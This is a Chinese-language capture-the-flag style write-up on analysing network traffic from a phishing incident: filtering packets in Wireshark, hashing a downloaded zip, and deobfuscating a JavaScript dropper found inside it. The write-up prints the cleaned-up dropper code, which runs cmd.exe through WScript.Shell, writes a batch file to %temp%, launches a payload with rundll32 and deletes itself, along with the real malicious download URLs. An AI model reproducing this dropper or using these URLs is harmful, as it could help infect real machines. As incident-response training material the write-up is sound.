第六章 流量特征分析-小王公司收到的钓鱼邮件

文章发布时间:

最后更新时间:

文章总字数:
794

预计阅读时间:
3 分钟

页面浏览: 加载中...

简介:

服务器场景操作系统 None
服务器账号密码 None None
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王在 WAF 上发现了一段恶意流量,请分析流量且提交对应 FLAG

1.

下载数据包文件,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么?将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https)

老样子统计IP,先分析次数多的IP

image

过滤器命令ip.addr == 10.0.0.101 && http,即可看到该条流量,flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}

image

2.

下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5})

这可太简单了,刚刚那条请求的返回包里就是zip压缩包,我们导出计算md5即可,flag{f17dc5b1c30c512137e62993d1df9b2f}

image

image

3.

下载数据包文件 ,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)

压缩包里有个js文件,准备分析一波来着,一打开太抽象了,应该做了混淆的

image

我们把尾部的base64解密看看,是个证书文件,不知道能不能通过证书找到域名(存疑)

image

运行该js文件也是报错(js学的本来就不好),只好去看了看巨魔师傅的WP,首先用正则\/\*.*?\*\/去匹配删除注释的字符串,然后就得到了混淆的js代码

image

然后直接将这个混淆的代码扔给chatgpt整理(嘿嘿~),得到如下代码,flag{shakyastatuestrade.com}

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// 初始化一些变量
let x808919187 = 'true';
let x449195806 = 'false';

// 调用 v395493070 函数
v395493070(z986383452);

// 定义 k25931219 函数
function k25931219(f684415514, p717292302) {
let d398776207 = `"${f684415514}".match("${p717292302}")`;
return s843092254(d398776207);
}

// 定义 w327424018 函数
function w327424018(q853060332, q577476678, g985523219) {
let g281403925 = `(new ActiveXObject("WScript.Shell")).Run('${q853060332}', ${q577476678}, ${g985523219})`;
v395493070(function () {
s843092254(g281403925);
});
}

// 定义 v395493070 函数
function v395493070(j712825305) {
try {
new n616719679(y302945094);
} catch (t33400252) {
let w265553656 = 'undefined';
if (k25931219(w265553656)) {
j712825305();
}
}
}

// 定义 y18358769 函数
function y18358769(u311868867) {
let s169557020 = `cmd.exe /c del "${u311868867}"`;
w327424018(s169557020, x449195806, x808919187);
}

// 定义 z986383452 函数
function z986383452(n865649288) {
let f350474578 = 'WScript.ScriptFullName';
let z272081462 = s843092254(f350474578).replace(/\\/g, '\\');
y18358769(z272081462);
}

// 定义 u615667760 函数
function u615667760(i750922179, u311868867) {
let u710353204 = `cmd.exe /c echo|set /p="cu" > %temp%\\doloem.p.bat"`;
w327424018(u710353204, x449195806, x808919187);

let u789315486 = `cmd.exe /c echo|set /p="cu" > %temp%\\doloem.p.bat"`;
w327424018(u789315486, x449195806, x808919187);

let r831075319 = `cmd.exe /c "%temp%\\doloem.p.bat"`;
w327424018(r831075319, x449195806, x808919187);
}

// 定义 r418484478 函数
function r418484478(u311868867) {
let m948706178 = `rundll32 "%temp%\\${u311868867}"`;
w327424018(m948706178, x449195806);
}

// 定义 r581327250 函数
function r581327250(u311868867) {
let y618891844 = `cmd.exe /c "%temp%\\${u311868867}"`;
w327424018(y618891844, x449195806);
}

// 定义 s843092254 函数
function s843092254(p326825704) {
return eval(p326825704);
}

// 最后执行一系列操作
let o457607380 = 'https://shakyastatuestrade.com/IhA6F/616231603';
let l988241708 = 'qui.q';
u615667760(o457607380, l988241708);
r418484478(l988241708);